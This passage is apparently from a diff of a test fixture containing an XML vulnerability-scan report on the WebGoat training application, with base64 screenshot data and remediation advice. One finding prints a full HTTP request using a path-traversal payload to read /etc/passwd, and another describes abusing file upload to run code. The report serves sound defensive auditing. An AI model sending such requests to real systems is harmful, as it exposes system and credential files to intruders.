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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAwQAAAH0CAYAAACD9urSAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAGHjSURBVHhe7d09VBu72uhxcdctTAcdLp23gi5Ud1NyOrLec9dKutBddke60IUy6ZJu0x1K0pHiPSt0h5J0pAvVOS5Nh7u440pjC4SQRprvGc/fe3nHeDT6+Ekz1jMf9sq9fIgeP1ZWVkTPCXrc+8WbHjN+YtIUr0n5OXS13uVLkCMCCCCAAALLLbDS94BgubuX1iGAAAIIIIAAAgggkC7wvwBCAAEEEEAAAQQQQACB/goQEPS372k5AggggAACCCCAAAKCgIBBgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51P0xFAAAEEEEAAAQQQICBgDCCAAAIIIIAAAggg0GMBAoIedz5NRwABBBBAAAEEEECAgIAxgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51P0xFAAAEEEEAAAQQQICBgDCCAAAIIIIAAAggg0GMBAoIedz5NRwABBBBAAAEEEECAgIAxgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FljKgGB7e1uoJw8EEEAAAQQQQAABBBBIF1i5l48mkPSE/fr6+qH42PdC9XXl41vHFTiYdQqVFbs8tk52faqoS2ydy0gX8o11KaMu5IEAAggggAACCCDwXGApzxDEdrQ5GVUTbz35bvLsghkALEswoG3b4Bs7NkiHAAIIIIAAAgj0RaCTZwiyHHU204bORqhOTztLYQ4Ke7KeVqdQfe3BFjpT4mqTr51mm7LWX6V3maXlYy7L0g69XpbyzPztsmLMfYFfljr0ZUdBOxFAAAEEEEBgeQUaCwhck2/fpC40kU+bDNpHpX1/+7o4NKmNXS/LpTGhoMR1pD1Lu/I453FIC1K0m88lpryYSb+vnCz5h8bf8u4eaBkCCCCAAAII9EGgNZcMmZO7si7ZqfOSG1Vn81nV4HG1KdTOuupmt9meSOt6lG1jX5Kkg806+qPstpAfAggggAACCCBQt0BrAgLVcPM6/hBEFZO9vHmaR5uztCHUxjKWl123rEa+yXoZbYs5O1NGf2Rtc5VtI28EEEAAAQQQQKBsgUYDgrSbTEOX2JgTzTImfTogKRt42fLL4m6fEQidyWirVZY2t7UN1AsBBBBAAAEEEPAJNBoQmJUq8u06eS5F4Rtv/BtF7CVbedzbuin2sc1t7QvqhQACCCCAAAL1CjR6U7FqapabSjVN6GZS3+TOdYQ6Jm2oPLMddvf5vrHGd7TcLivtZuGYG2Pz1i0tb18g5xq6We2yfMNP2lmkrP2qyi2rzfVuwpSGAAIIIIAAAggUE2g8IChWfdauSiB0yVZV5TaZbx/b3KQ3ZSOAAAIIIIBAOwRac8lQOzioBQIIIIAAAggggAAC/RLgDEG/+tvb2phLe5a